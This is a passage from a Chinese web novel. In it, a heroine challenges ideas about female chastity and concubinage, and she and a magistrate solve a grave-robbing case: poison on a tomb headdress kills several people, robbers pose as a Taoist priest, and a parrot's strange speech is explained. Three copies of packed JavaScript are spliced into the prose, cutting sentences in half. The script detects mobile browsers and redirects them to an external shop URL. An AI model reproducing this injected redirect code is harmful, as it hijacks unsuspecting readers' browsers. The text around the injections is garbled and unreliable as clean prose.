“那件事后,谢府丞亲来解释,还破例让夫君听审,得知了鸯儿去前身后的详细种种。王姑娘,你已经尽力了,你也差点没命,不是吗?救下郡主,敢替郡主担下风险,已经是巾帼风范。鸯儿之死,又怎能怪你?” 眼泪扑朔而下,久违的释怀感,总算翘起心口沉重的石板一角。但我知道,有些话我还是得说明白。 “金夫人,我全程在场,我必须向您陈情,金小姐她,她没有失去清白,她没有受辱。您实在不必由此担心,故而烧毁她的用心之作啊。” 金夫人一怔,似是没想到我仍纠结此事。她摇摇头,无力的说:“本就是闺中一趣,少时随意玩玩,难登大雅。若是出阁,用来取阅夫君或可,还能当个事儿做吗?执掌中馈才是要紧的。若生儿育女,传授下去倒也罢了。如今她只是待嫁女,又是横死,这些东西,还是随她去了罢,也可全了她的清白。” 当话音“难登大雅”“取悦夫君”入耳,我已压不住胸口愤慨,没想到,最终竟还落到“清白”二字上。 清白什么?别说金宝鸯没有失去清白,就算她在楼中被辱,她的人格、尊严,乃至灵魂,依旧是完整、高贵的!该下地狱的,明明是那些施暴的禽兽! 现在竟还波及到她的作品?她呕心沥血、值得问世,值得被世人传颂的作品! 我太震撼了,实在顾不得金夫人的伤心憔悴,与她据理力争起来。然而无论我怎么劝说,金夫人都只哀哀摇头,末 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我目瞪口呆:“六桃……什么?通房?” 林霜玉朝我看过来:“怎么,姐姐也不认可六桃?” 我哪是不认可六桃,我是不认可通房啊! 林霜玉涩笑:“姐姐笑话了。哪有女子成婚,不做这准备的。如今恩典下来……嗯,母亲便有些担忧……” 我震惊不已,一旁的郡主却侧目看来:“姨妈是听说太后欲赏赐贵妾,这才更担心的吧?” 贵妾? 我更震惊了,什么情况!赐婚恩典才下,怎么就赏贵妾了? 这封建王朝动辄将女人作为礼物摆布的恶习,真是令人倒胃口。 郡主声音不断,“姨妈也是为你着想,你何必拂了她的好意?随手点两个得了。届时入了我御青王府的门,安排谁上,还不是你自己说了算嘛。” 说着,郡主又蹙起眉头,“其实呀,通房,我都觉得哥哥不一定会用。毕竟父王当年战死,就是因为……”郡主叹了口气,“哥哥常说,后宅安宁是福气。这么些年,哥哥屋里侍奉的都是老实巴交的丫鬟,凡是有点放肆的,哥哥第一个打出门外呢。” 林霜玉面上一红:“我相信他……只是,我身子不适的时候,他身边也不能没人侍奉啊。” “现在没人侍奉,不也好好的吗?”我脱口而出,实在忍不住质疑。 林霜玉轻轻挽过我的手,红了眼圈:“姐姐睿智,怎会不知婚前婚后的差别?婚前他这是自持克己;婚后,那可就是娘子善妒了啊。满朝亲贵,虽不似魏王那样夸张,但谁家,还能没个侧室通房的?” 满朝亲贵……那他,他也需要吗…… 我不自觉捂住了心脏,听到郡主叹气:“妹妹说得对啊,为了名声,也得安排。不过妹妹,我倒觉得姨妈这样操持也好,毕竟是你们府上的人,知根知底好拿捏,你带去用不用的,也都有个退路。万一都是平平之辈,被巧言令色之徒钻了空子,岂不便宜了旁人?” 林霜玉侧头沉默片刻,似是被说服了,便打开了册子,央我们替她把把关。 一页一页纸上,正是一个个花样年华的姑娘。 悲哀充斥着我的心,我几乎要脱口痛骂。万千情绪涌来,我又该骂谁去? 男权社会对女性的束缚与吞噬,大抵就在这一个一个连女性都不自知,就已沉沦的时刻。 而浮生带来府衙的最新进展时,便是在当晚,我行尸走肉般的回家时。 72.解谜1 “羽书,你怎么了?” 我一踏入府衙侧厅,就听谢宁轩在问。他从书桌后站起身来,朝我谆谆看来。 眼光若能以遥控调控,这一定是最暖的柔光。 饶是进门前多次深呼吸,期冀调整情绪至不露痕迹,我还是被他温柔的关怀击中,不禁心头一颤。 可较之往日涌上的羞涩,这一次,却夹杂着太多苦味。 最终,我什么也没说,因为二公子前后脚赶到,正操着大嗓门,急不可耐的问:“哥,哥!抓到盗墓贼破案了?快说说,快说说,到底怎么回事啊!我回去想了想,此案说来说去,真的和胖子无关呐!” 谢宁轩不放心的看着我,但碍于不便深问,便只好蹙眉,先解答起弟弟的疑问来。 “与胖子无关?怎么就无关了?”说着,他回头从书桌上拿起红玉头面,“他可碰过这头面,你忘了吗?” 精美奢华的红玉头面被他捧在手心,犹如娇羞的美人,正散发着莹莹微光。 “你也碰过,你咋没事?”二公子小声回怼。 谢宁轩尚未回答,我已经明白了,便淡淡道:“毒性在这几日,得到了挥发,所以咱们再接触,就没事了。” “到底是什么毒啊?怎么给他们下的?”二公子按耐不住,也上前摸了摸红玉头面。 谢宁轩也不打算回答,而是又将尸格递给我。 我接来一看,立时心惊,思绪也一下子都集中起来。 “怪不得,怪不得。”我思索着,慢慢讲述道,“二公子,医馆的郎中和学徒,说傅纪中的是多种毒素混合,但无法分辨清楚。郎中对于胖子也中一样的毒十分震惊,据此才说出了傅纪死亡的状况,吞吞吐吐,语焉不详,包括那学徒也是。你可还有印象?” 二公子绞尽脑汁地想了想:“唔,好像是……那郎中说本不打算告诉旁人,说对傅师傅……咋说来着?哦,就没继续说了呀!还有那学徒,也是说到多种毒素后,莫名闭了嘴。” 没错,但这其实就是线索。 郎中吞吞吐吐,其实代表着,他察觉了毒素的组成。未必全盘了解,但其一他是看出来了。他知道,傅纪不应该沾染这毒,他误以为傅纪做了不该做的事,为了傅纪名声,他隐瞒了。 直到碰到胖子出现一样症状,郎中震惊了,才会在最初就问——“胖子是干什么的”。 但这种罕见的毒,未必每个医者都晓得,所以救治钱掌柜的郎中,就没有认出来。 “什么毒,到底什么毒,别卖关子了!” 我吸口气,沉沉道:“尸毒。” “什么?尸毒!”二公子跳脚,三秒后开始质疑,“傅纪怎么可能会染上尸毒?还有,钱掌柜和胖子怎么会染上它?” 我摇摇头:“事实上,你应该关注的是,为什么尸毒能保持那么久,能害死那么多人。” 二公子一愣:“哦,是是,为什么呀!” 因为毒素混合,不止尸毒一种。 谢宁轩的猜想是正确的。 无论平庆公主消失与否,女儿山上的公主墓因为母妃同葬,并不是完全的衣冠冢。而母妃饮下鹤顶红身亡,触了皇家忌讳,也并没有按照青朝规矩停灵七天。 毒发身亡的当晚,她就被拉入棺椁水银封存了。 鹤顶红?什么是鹤顶红?其实就是不纯的□□,隐晦说法的砒霜罢了。 中医十九畏,水银畏砒霜,意思是二者不可同时入药。从中医角度讲,是药性相克。但其实咱们现代人都知道,这是因为二者化学成分稳定,混合不会发生化学反应,不会有新的化合物产生,各自原有的有毒成分得以保留。 即,双重有毒。 因着宫廷规矩,该妃子尸首被处理的很快,封存的棺椁内,砒霜和水银的毒性便得以稳定的保存着。而水银并不可能完完全全的保存尸体,尸体还是会缓慢的腐烂,生成霉菌和细菌。 在开馆的一瞬间,新鲜空气灌入,这些霉菌、细菌得以挥发,时常会造成靠近者身体不适。于是乎,“尸毒”一词便这么产生了。 郎中和学徒,都以为傅纪干了掘墓的事,太损阴德,所以他们没有提。这也使得,傅纪的死因被掩盖了过去,家人只以为他是急症猝亡。当然,事后又发生了鹦鹉袭击,傅纪之死,更无人提起,避讳不及了。 二公子打了个寒战:“天哪,那就是尸毒、水银、鹤顶红,三种巨毒了诶!” “这也就解释了两年前,女儿山上为何会出现两具无名尸体。”谢宁轩续道,一面朝我投来赞赏的目光。 我却躲开了。 没错。盗墓贼团伙既然干的这营生,必深知尸毒害处,但是平庆公主墓的特殊情况,他们也未能应对得体,因此,团伙中还是有人丧生了。也即,两年前出现的那两具尸体,就是盗墓团伙中的成员,而尸体附近有不少死掉的虫蛇鼠蚁,也佐证了这一点。 “那、那傅纪怎么回事?他也下墓了?”二公子疑惑。 谢宁轩一时没有回答,只怔忪地瞧着我。但见二公子在一旁探头探脑,还是垂下眼帘,扭头在拓写壁画的卷轴中翻出一副递给弟弟。 二公子很嫌弃,撇嘴背手不愿接。 谢宁轩无语:“照着墓穴画的,又不是直接拿出来的。你首饰都摸了,还介意这个?” 说着,他也没再理会弟弟,自顾自讲下去,“哀帝对这对母女实在深爱,墓室壁画极其精美,画了她二人的详细生平,就连母女近身物品、素日喜爱之物,也画了上去。你看这副,根据前后画卷意思,这应该是这对母女最喜欢的两套首饰。” 听了这话,二公子才贴近去瞧,就见谢宁轩打开的画轴左上角画着一副纯绿色的饰品,看着也像是头面,大概是翡翠质地的。右上角画的则是—— “红玉头面?” “其母生前常带这副红玉头面,她身死后,哀帝便让她带着下葬了。” 二公子呆了两秒,再一次平地起跳:“什么!那首饰是从尸体上扒下来的!” 若非头面位于尸体脑袋,接触鹤顶红时间最久,一个物件,又怎么可能染有如此毒性,竟在傅纪偷盗抚摸后,毒死了他,并害了两年后接触过的钱掌柜呢? “停停停。”二公子听懵了,“什么意思?怎么害的?说清楚点!” 这一点,结合盗墓贼的供述就能解释的更清楚了。 这伙盗墓贼一共七人,出自同一家乡,近些年来,穿梭在京郊,多是挖些郊县富户、乡绅的墓。两年前,挖到平庆公主墓,也是意想不到。其中一人识些字,大致看明白了壁画,说价值非常,大家便想一夜暴富。 但是盗墓的时候,出了些意外。 棺椁打开时,巨臭传来,最近的两个伙计当时就不行了。他们不知水银鹤顶红的关窍,但对尸毒很了解,就没有深想,只不敢久留,不敢多摸,草草将所有物件分批装了抛出墓外,放在太阳底下暴晒。这也是传统消杀尸毒的方法。 没想到,等他们出来的时候,正看见一个人顺走其中一袋,在往山下跑。 “是傅纪?” 没错,按照现有线索倒推,傅纪死亡前一日在女儿山,撞见的显然正是盗墓一行。 此刻已无法还原,一向老实巴交的傅纪当日到底是出于什么心理,竟会趁着无人之际,偷了一包。 但上来的伙计正好目睹他顺手牵羊,忙追了去。可中间有脚程差,追至城门口才追上。眼看傅纪进了城,他们不敢大白天在京城下手抢劫,只好一路跟着到了傅纪的家。 本来他们也想算了。可是之后清点,发现丢失的正是最名贵的红玉头面那一袋。这可就亏大发了。所以他们一合计,必须要偷出来。 虽然他们不知,此时的傅纪,已经死了。 “接触就会死,为什么其他盗墓贼没有死,只有傅纪死了?” 谢宁轩沉吟道:“依我推断,傅纪作为木工,手上常有细碎的小伤口。从医馆学徒的描述可知,他偷回来后,和红玉头面在密闭空间独处了一夜。从为它专门造个木盒来看,傅纪虽然未必知晓价值,但也是喜爱崇敬它的,那么,接触、抚摸、把玩,就是必然的。所以他被毒死了。” 我条件反射的,自然的,接过了话头:“至于盗墓贼,两人死于开馆最初的毒气泄漏,其他人发现后受惊,便刻意减少了与棺椁、头面的接触。所以其他人没事。” 谢宁轩又朝我看了过来,如海深眸,飘荡着丝丝不解。 二公子听明白了,点点头,但又皱眉提出新的疑问:“刚开棺,毒性大,傅纪长时间接触,手上也有伤,他被毒死我能理解。可钱掌柜怎么回事?红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721156|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉头面的毒持续了那么久?那,雷姓男子为啥没事?” 我微微侧头,避开了那道探究的视线,只沉下心一个一个给二公子解释。 “首先,在正常情况下,红玉头面上的毒,绝不可能持续两年。尸毒,刚才说了,毒性较弱,暴晒可除。而鹤顶红也好,水银也罢,只要未直接涂抹,只是毒素附着,待挥发后即可消失。两年后还能害死钱掌柜的原因,第一个,便是那木盒。” 二公子恍然:“啊,傅纪为它打造的,严丝合缝的木盒!” “是的,”谢宁轩也收回了视线,略颔首道,“木盒非常严密,气息不通,导致红玉头面上沾染的毒素无法挥发。当然,除了这个原因,令它久久附着的,还有一项,便是它所处的,阴暗潮湿的环境。” 朱家屋内随处可见的花盆,种植着各种各样的绿植,个个开的舒展,说明一直有人孜孜不倦的浇水,使环境足够潮湿。它又被摆到盒中,放入暗格,丝毫见不着光。如此存放,毒性自然得以保存。 “第三,你我、钱掌柜遗孀与小厮、茶庄小二、雷姓男子前前后后也都与红玉头面打过照面,但咱们都没事,钱掌柜却死了。这自然源于他买到后爱不释手,把玩、抚摸个不停,接触时间太长。还有一点,其实和傅纪雷同了。” “什么?”二公子屁股抬了起来。 我伸出手,朝他挑眉示意:“你自己说的呀,买鹦鹉的时候,钱掌柜一直在抠手上的火疖子,对不对?” “啊!对!天哪,他手上也有伤,所以毒素进去了,所以他中毒了!” 谢宁轩道:“嗯。我差衙差去问了,钱掌柜死后,小厮和夫人觉得头面不详,将其连同木盒都放在一旁,未多理会。而你们去过之后,胖子叫嚣说头面像是女鬼,更吓得夫人不愿留下。小厮便将木盒打开,随意丢到了窗户边。此举,误打误撞使得一贯暗无天日的头面,终于晒到了太阳,得到了呼吸,疏散了毒气。现在,它已经是安全的了,王伯父也验看过了。你就是上头戴一戴,也不会有危险了。” 二公子松了口气,还没坐下来,却又叫道:“咦,可是那胖子又是怎么回事?” 是啊,胖子,巧合的出现,诡异的故事讲述者,游离在外却又息息相关的人。一度我还以为他是幕后黑手,不过想通之后就明白了,他只是个被迷信荼毒的无辜之人。 “胖子摸过它,还记得吗?” 在我们到钱掌柜灵前时,胖子曾着迷于它的美丽,伸手摸了摸。 “啊,摸一下就中毒?难道他手上也有伤口?” “不。”我摇摇头,“这头面自朱家偷出后贩卖,盗墓贼虽然不曾打开盒子长时间接触,但摸一摸、看一看,定也是有的。之所以别人没事,胖子中毒了,其原因在于胖子的习惯。你有印象吗?胖子有个习惯性动作,他说话时喜欢咬手指、吮吸手指。他和咱们相处时间不长,但我见他咬手指,就不下十次。” 所以旁人是通过伤口进入,胖子却是摸完毒性未散的红玉头面,直接把毒塞嘴里。伤口、血液进入的毒素,加之接触时间长,使得傅纪与钱掌柜中毒发作极快,症状明显。胖子到底是通过口水缓慢渗入的,所以他中毒浅,且发作时间延后。 但他来傅纪家时,那与前一日截然不同的糟糕状态,还是说明了毒素已经令他不适了。 谜底解开,所谓吸人精血的女鬼,这一刻,静静的躺在桌上。没了恐怖氛围的加持,没了主观畏惧的影响,它就只是个华美的首饰而已。 只是,一生老实巴交的傅纪,却因为一时的鬼迷心窍,葬送了性命。而钱掌柜和胖子,在此案中,更属无辜。 “那其他首饰,哦,我指的是藏在朱家的那几样,都是被傅纪匆忙带回来,没有经过暴晒的。它们身上,还有毒素吗?” “放心吧,已经请王伯父查看了,没有毒素。”谢宁轩伸手指了指拓写壁画的卷轴,“事实上,那几样,也根本不在平庆公主母亲的棺椁里。根据壁画,那几样都是公主的陪葬,放在衣冠冢中。也即,它们本来就没有沾染到鹤顶红、水银,亦未受尸毒浸染。” 二公子塌下肩膀,这才放松:“那就好,我昨天可捏了半天呢。行吧,那傅纪、钱掌柜、胖子中毒的缘由,我是明白了。可朱承林又是怎么回事?还有,那鹦鹉的诡异又怎么说?” 73.解谜2 朱承林是被捂死的。从死法上看,这就和那三人无关。 “盗墓贼不是说了吗?他们发现盗来的陪葬品中,最名贵的一件被傅纪顺走,所以决定无论如何也要偷出来。但等他们察觉赶来时,傅纪都死了,傅妻回乡,徒弟解散。这宅子,正在发生易主。” 我点点头,心说我的直觉果然没有错,这整个案件中,不起眼的一个人,却是暗中推波助澜的关键。 “你是说……”二公子迟疑着,“那个云游道士?” 对啊。 这宅子因为傅纪惨死被贱卖,但还是有几个客官有意。这时候,云游道士登场了,他做了什么?神神叨叨,说了一串骇人听闻的话,把客官都吓走了。 若不是刚巧碰到朱承林这奇葩,这宅子的下场,就是卖不出去的空宅。 “啊!我明白了!”二公子一拍大腿,“这云游道士就是盗墓贼装的!他们的原意是趁着傅纪惨死,让宅子空置,方便他们进来找东西!” 没错。根据盗墓贼的说辞,他们发现傅纪死后,就在周边偷偷打听了一下,很快便意识到,老实巴交的妻子、不谙世事尚未长大的徒弟们,都不曾获得那名贵的首饰。结合傅纪的优秀木工人设,不难猜到,他藏到家里了。 但他死的突然,宝贝下落成谜。 这时候,当然要想办法赶走一切想买下院子改造的人了,盗墓贼演出戏,自然是试图吓跑买家。 然而希望落空,与众不同的朱承林反而喜滋滋的入住了。 “可是、可是,云游道士不是出现了两次吗?那第二次是?” 谢宁轩背着手站在窗口,长身玉立,如松如柏。微风吹着他的衣衫,无端端让人心起涟漪。 只是这一次,弥漫在我心头的,却是一漾一漾咸湿的苦水。 他徐徐道:“第二次,是在朱承林受不了鹦鹉和鬼影鬼火,心生动摇的时候。” “对啊,那刚好劝他搬呀!” “怎么没劝?”咽下喉间苦涩,我再次专注于案件,反问一句,“你忘了胖子怎么说的?道士一开始就劝他搬,但朱承林居然还是舍不得。这时候,盗墓贼们已经开始夜中潜入翻找了。医馆学徒说过,傅纪生前,鹦鹉压根没有什么吓人的表现。也即,‘有鬼’‘鬼啊’的叫声,并非跟着傅纪学的,那么,为什么在朱家学会了?通阴阳?带来鬼?都是扯淡。” 谢宁轩望着我微笑,眼中有光。 他接过我的话头,亦是无比的自然。 “是因为这段时间盗墓贼潜入搜寻,频繁出现所谓的‘鬼影鬼火’,朱家人不明所以,当然会吓得惊呼‘有鬼’‘鬼啊’,便连累那鹦鹉学了去。这也印证了胖子的说法,那段时间,朱家人的确是惶恐不安的。朱承林虽然还舍不得搬,但已经开始计划找人做法或者超度了。” 一旦有人介入抓鬼,那么,需要夜晚潜入仔细搜查的盗墓贼,或许就会受到影响。 于是乎,云游道士第二次登场了。 他先是劝搬,见无果后,说辞就变了,变成劝其放下戒备心、畏惧心,面对鬼神出没要敬仰,不能打扰。这鬼话就是说给心里有鬼的朱承林听得,实际上,句句都在为更便利的夜晚潜入而铺陈。 从结果来看,这一招也确实管用。 朱承林信了,放弃了请道士或高僧的想法,朱家人也渐渐妥协。他们就这样和“鬼”相安无事的处了两年。直到朱承林死。 “好家伙,真是好谋算!”二公子叹了一句,“可是既然处了两年,都没有杀朱承林,为什么现在要杀?还有,他们也太孜孜不倦有耐心了吧?两年呐,这一找可就是两年呐!为了个红玉头面,可真是有耐心!” “其实,也不止是为了红玉头面。” “哦?那还能为了什么?” 谢宁轩将我们看过的那张卷轴再次拉开,指着红玉头面旁的翡翠头面,另一只手则从证物中翻出了那支色正色浓、还泛着蓝色调的,令朱家妻妾争相抢夺的翡翠簪子。 “钱夫人说过的话还记得吗?买完红玉头面,钱掌柜还试图筹钱买另一套。显然,姓雷的给他说的,还能搞到的另一套,指的就是这翡翠的一套。根据壁画,这两套是哀帝为平庆公主母女重金打造的首饰,红玉给了妃子,翡翠给了女儿。也可以说,在所有陪葬品中,这两套是价值最高的。” 二公子的目光在卷轴上来回扫射,直到停留在翡翠头面下画着的配套物件。 头面都是一套搭配的。红玉头面有对应的红玉簪、耳环、手镯,翡翠头面则以簪子、耳环、项圈搭配成套。行家收时,都会一并收齐,价格也会开到最高,如果是单一的孤品,价格就得打折扣了。 但这只簪子是在朱承林家中暗格找到的,足以说明,傅纪顺走的那个包袱,既有着价值昂贵的红玉头面全套,还有着翡翠头面配套的簪子。 “盗墓在青朝已是重罪,何况这还是前朝公主墓。冒着掉脑袋的风险,死了两个伙计,结果最贵重的两样珍品,全被祸祸。搁你,你不恨得牙痒痒?不想法设法取回来?” 谢宁轩也道:“不止如此,我朝对首饰一向崇尚自然,如此色正的翡翠如在我朝匠人手中,是绝不会加上这金丝的。这种质地,在行家眼中,一眼就能看出出处。他们虽未必知道来自墓穴,可前朝的宝贝,谁敢大张旗鼓的贩卖?因此,他们对盗墓贼压价很狠。那几十样陪葬品,并不能让这些贪婪之辈分得足以挥霍半生的钱财,不把最贵的找回来,他们能咽下这口气吗?” 如此数量的前朝珍品一并贩卖,一定会引发关注,因而盗墓贼也没办法,只能分散着、零星着卖。而从红玉头面近期才出手来看,这头面,恐怕就是最近才找到的。 盗墓贼本就不知其他毒素的存在,又不会想到尸毒能封存这么久,所以连同盒子毫无戒备的卖了出去,误打误撞害死了钱掌柜。 “那朱承林之死……” 盗墓贼潜伏两年,经常夜中潜入搜索,固然有云游道士的铺垫,也和他们掌握了朱家的作息有关系。 朱承林有个习惯,还记得吗?胖子说过,他每次不回家住,一定会提前通知。没了正主儿,妻妾也没宠可争,也就怏怏睡下了。 因此,暗中搜索得以持续。 可是,案发当日,情势发生了变化。 “朱承林突然回来了,未有提前告知的、未惊动家人的、悄悄回来了。” 二公子吧唧吧唧嘴:“啊,我懂了!他这偷偷摸摸回来,却撞见了正在搜查的盗墓贼呀!那可不就遭殃了嘛!” 是啊,据杀人的盗墓贼供述,当晚正如往日,他正捂着鼻子在阴祭台那屋翻找呢,朱承林忽然回来了。他吓了一跳,朱承林却立即反应过来,原来家中这两年的鬼,竟然是装神弄鬼。 朱承林当即破口大骂,盗墓贼又气又怕,生怕朱家人被惊动。否则不仅当下他有危险,以后也无法再潜入搜寻那翡翠簪子了。 他便抓住了想逃的朱承林,直接下手捂死了他。 “当时鹦鹉就在这屋?” “是啊,直勾勾看着。”盗墓贼打了个冷战。 “那你说了什么?你不光勒住朱承林,还恶狠狠的骂他了吧?” 盗墓贼低下了头:“我、我……他先骂的,骂的真难听!我捂住他的时候,他还伸手来抓我,把我脸都抠破了!我、我就气的让他赶紧滚去阴曹地府见阎王去。” 这话应当没有隐瞒。因为朱承林的尸体就是头朝着门的,应当就是他发现对方意图后,扭身往门口跑,却没能成功。 “你为什么带鹦鹉走?” “我、我……”盗墓贼露出骇然的表情,“那鹦鹉,真的有点邪门。我杀了人之后,看姓朱的七窍流血的尸体,自己也吓得要命,一回头,它直勾勾的看着我,那眼神,阴森森的、冷冰冰的。我想到它会说话,生怕被认出,就打算杀了它。” “然后呢?” 盗墓贼搔搔头,竟然有丝丝赧然:“它、它冲我叫了声‘吉祥’。” “吉祥?” “这鸟奇怪的很,”盗墓贼扯了扯嘴角,似乎想赔笑,“它晚上从来没叫过‘吉祥’,不是鬼喊鬼叫,就是学那些娘们勾引姓朱的。所以我当时一听它叫‘吉祥’,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721792|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然,我突然……” 突然觉得下不了手,仁慈了?不,只是突然福至心灵,觉得这是上天预兆,自己会逢凶化吉,当下恶行不会被揭露,说不定还会走大运。 “然后你就带走了它?” “嗯。”盗墓贼点头,“不管怎么说,留下它,始终是个隐患。带走它,或许、或许……能保佑我……” 我摇摇头,对这些自圆其说、莫名其妙的迷信思想深感无奈。 “既然如此,为什么你的同伴,那姓雷的,会拿出去,还给卖了?” 姓雷的被问到此处,懊悔地直拍大腿:“哎呀,我哪知道啊!我平时是负责贩卖,不负责潜入搜寻的。是,我是听他们提过这鸟诡异,但没见过呀。可等它被弄回来,一晚上鬼叫个不停,这谁受得了?我就想弄死得了!可我那伙计不同意,说什么留着能改运?真是扯犊子。第二天我去卖红玉头面,我就索性趁他在睡觉,把这鸟带出门了,想找个无人的角落杀了。谁知一路上老是遇到人,一直没机会,只好带着它和那珠宝铺掌柜交易,偏偏又被一位公子看上了!我、我想着五十两,也不亏啊,是不是?嗨!我哪知道这鸟还能飞回朱家!真他娘倒霉,要不是这死鸟,我们能被抓住吗?” 不,你们被抓,哪里是因为鹦鹉啊。 “哥,你是怎么知道这伙盗墓贼大概的落脚点,画个范围让衙差挨家挨户搜寻呢?” “羽书与我同时想到的吧?”谢宁轩朝我看过来,眼眸深深,“不如你说说?” 我不敢看他闪烁着光芒的眼,避开后才慢慢说道:“能在朱家搜寻两年不被发现,一定摸透了朱家的习惯,加上那云游道人第二次出现的时机那么巧,足以说明,盗墓贼对朱家多有监视。那么,落脚地据朱家一定不远。” 谢宁轩眼中虽还有着不解,但闻言依旧露出了梨涡:“没错,何况盗墓贼也知道鹦鹉白天会叫‘吉祥’,也佐证了他们住在附近,不会远离朱家,才能对朱家白日习惯也了然。” “从得知傅纪的手艺和精妙设计,到对朱家的了解,就说明他们一定融入了朱家周边的生活圈,但太近容易让朱家留意,太远又盯不紧。三五条街内租个房子最宜。” “因此,我便安排浮生,去找该范围内近两年租入或买入,有多人居住的院邸。果然,结果没有让我失望。” 谢宁轩的行动是及时的,抓住盗墓贼时,他们已经风声鹤唳,准备不再等,潜逃出京了。院内发现了盗墓的器械,还有不曾卖出的陪葬品,其中,就包括那套翡翠的头面。 “这些陪葬品都怎么处理?上交?所有贩卖出去的,都找回来了吗?” “收缴回来了七七八八吧,自然是呈给圣上。还有一些被珠宝铺、文玩店卖出的,还得再讨回。另外,他们交代说,陪葬品也不都是贵重的,包括一个铜质首饰盒在内的一些物品,看着卖不上价,他们就直接扔掉了,那些估计是找不到了。” “那还好,至少大部分找回了。平庆公主和他母妃也够倒霉的了,百年了,墓还被人掘了,真损阴德!”二公子下了结论。 至此,案件大部分谜团都得到了解释。 二公子也放松下来了,侧侧头说:“哥啊,这案子查到现在,真是峰回路转。我是明白了,那些神神鬼鬼的说辞,都是瞎说!但你们说,五鬼运财术,到底存不存在呢?” 我冷笑一声:“五鬼运财,就运了个恶心黑暗的阴祭台,就运了个老实做生意也能达到的成就?你可别忘了,如果朱承林那晚没有去阴祭台呆着,而是回到夫人或者妾室的房间,八成啊,他还不会死呢!如果他没有让人远离那破地,搞得那么神秘兮兮,他也就不会三天后才被发现了!所谓五鬼运财,财运没见多少,霉运倒是不少!” 二公子被我怼的说不出话来。 谢宁轩好笑的摇摇头,趁势教育:“所以啊,做人行事本分诚心,莫以神鬼渡自己的贪婪,才是长久、安稳之道啊。” “嘁,你们两个倒是一唱一和……”二公子撅撅嘴,“那、那鹦鹉又是怎么回事?它袭击傅纪和朱承林,这可是有目共睹的啊!” 74.表白 好吧,现在来说说鹦鹉。 “首先,通过前面复盘,已经能确定,所谓的鹦鹉谛听投世、通阴阳、和阴宅一体两面这些说法,都是假的,对不对?完全是盗墓贼为了让鬼影鬼火得到合理解释,瞎编的。只不过,刚好说到朱承林心坎,他深信不疑了。” “没错,这我理解。” “好,那排除这部分,鹦鹉的离奇之处还有两处,一个是袭击主人,搞得主人血肉模糊;一个是它怎么就从北门突然飞回到朱家,而在我家明明也打开了笼子,却没离开。” 其实还有一点,就是它的学舌。纵观全案,它一共说了几类话。 “吉祥”,这不必说,每个学说话的鹦鹉的入门课;“有鬼”“鬼啊”,这是最开始被盗墓贼深夜探查而惊吓的朱家人发出的惊叫声,鹦鹉学了去,不足为奇;仿女声说的各类柔情似水的话,这也得到了解释,就是朱家妻妾整日争风吃醋所致。 还有两处,目前也能理解了。 第一,就是在朱承林案发现场被发现时,它冲着目击者叫唤的“阴曹地府”“见阎王”,目击者被吓得要死,乍一听也的确够惊世骇俗。但实际上,这句话有出处,有明确来源呀。 不就是盗墓贼杀人前说的话吗? “哦对对,是,怪不得你们要问他当时说了什么!”二公子恍然大悟,“这鹦鹉可真厉害啊,听一遍就学会了!” 是啊,它是真的很聪明。第二点,也是一夜就学会了的啊。 那就是我曾听到过的暗哑、堵着嗓子眼的男声——“藏起来,藏起来!” “藏起来?” 我点点头:“医馆学徒说过,傅纪两口子沉默寡言,属于话少的人,傅纪又对鹦鹉很珍视,不让自己的徒弟靠近。那么,鹦鹉在傅纪家中那些年,没学会多少话,没有多少离奇的传说,就很好理解了。但是傅纪一贯平和的情绪,则在他突破道德底线偷了一袋陪葬品时,出现了颠覆。那晚,他近乎疯狂的为红玉头面做着木盒子,以致一夜未休息。” “啊!所以‘藏起来’是傅纪说的!鹦鹉放在他的房中,他听到主人一反常态念叨这几个字,就轻轻松松学会了!” 没错。所以,诡异的学舌,其实都是有根据的。 “嗯,这我能理解了。那袭击怎么说?” 这次,做出解释的谢宁轩,他坐在椅子上,明明姿势松懈,但气质依然挺拔。 “不要被血腥、玄乎的辞藻渲染的失去判断。你细想,这鹦鹉也养了七八年了,除了这两起袭击,并无类似行为发生。这就说明,这两件事一定有共性。” “什么共性?共性就是主人死了,它就凶性大发!” 谢宁轩扫一眼弟弟:“你还是在带着情绪判断。我说了,不要带色彩看它。鹦鹉袭击这两个人,前后发生了什么?是,是主人死了,但正是因为主人死了,才会引发鹦鹉平时习惯的变化呀。” 我见二公子还是迷惑,便把话说明白些:“朱承林死后,鹦鹉被带离朱家,午后就卖给你,又送来我家。你可还记得垂柳怎么抱怨的?这鹦鹉在我家三天,不吃不喝。” “同时,傅纪死了之后,鹦鹉也不吃不喝,直到三天后袭击他的尸体。” 二公子渐渐品过味来:“原来它在主人死了之后,都有过不吃不喝的忠鸟行为啊,还真是颇通人性。” 得,我还以为他理解了呢,谁知还是跑偏了。 动物习性,不要老往人性上扯。当主人死了之后,别人喂食却不吃不喝,应该考虑得不是为主人尽忠,而是生活习性的变化。 “你还记得医馆学徒怎么说的吗?傅纪说过,这鹦鹉习性与众不同。朱承林也是将它养在阴祭台,那屋子里满处是深色的、奇怪的、软乎乎的东西,还引来了蛆。这些其实都暗示着,这鸟……” “是以生肉喂食的。”谢宁轩徐徐接过话头。 二公子跳了起来:“啊?啊!” 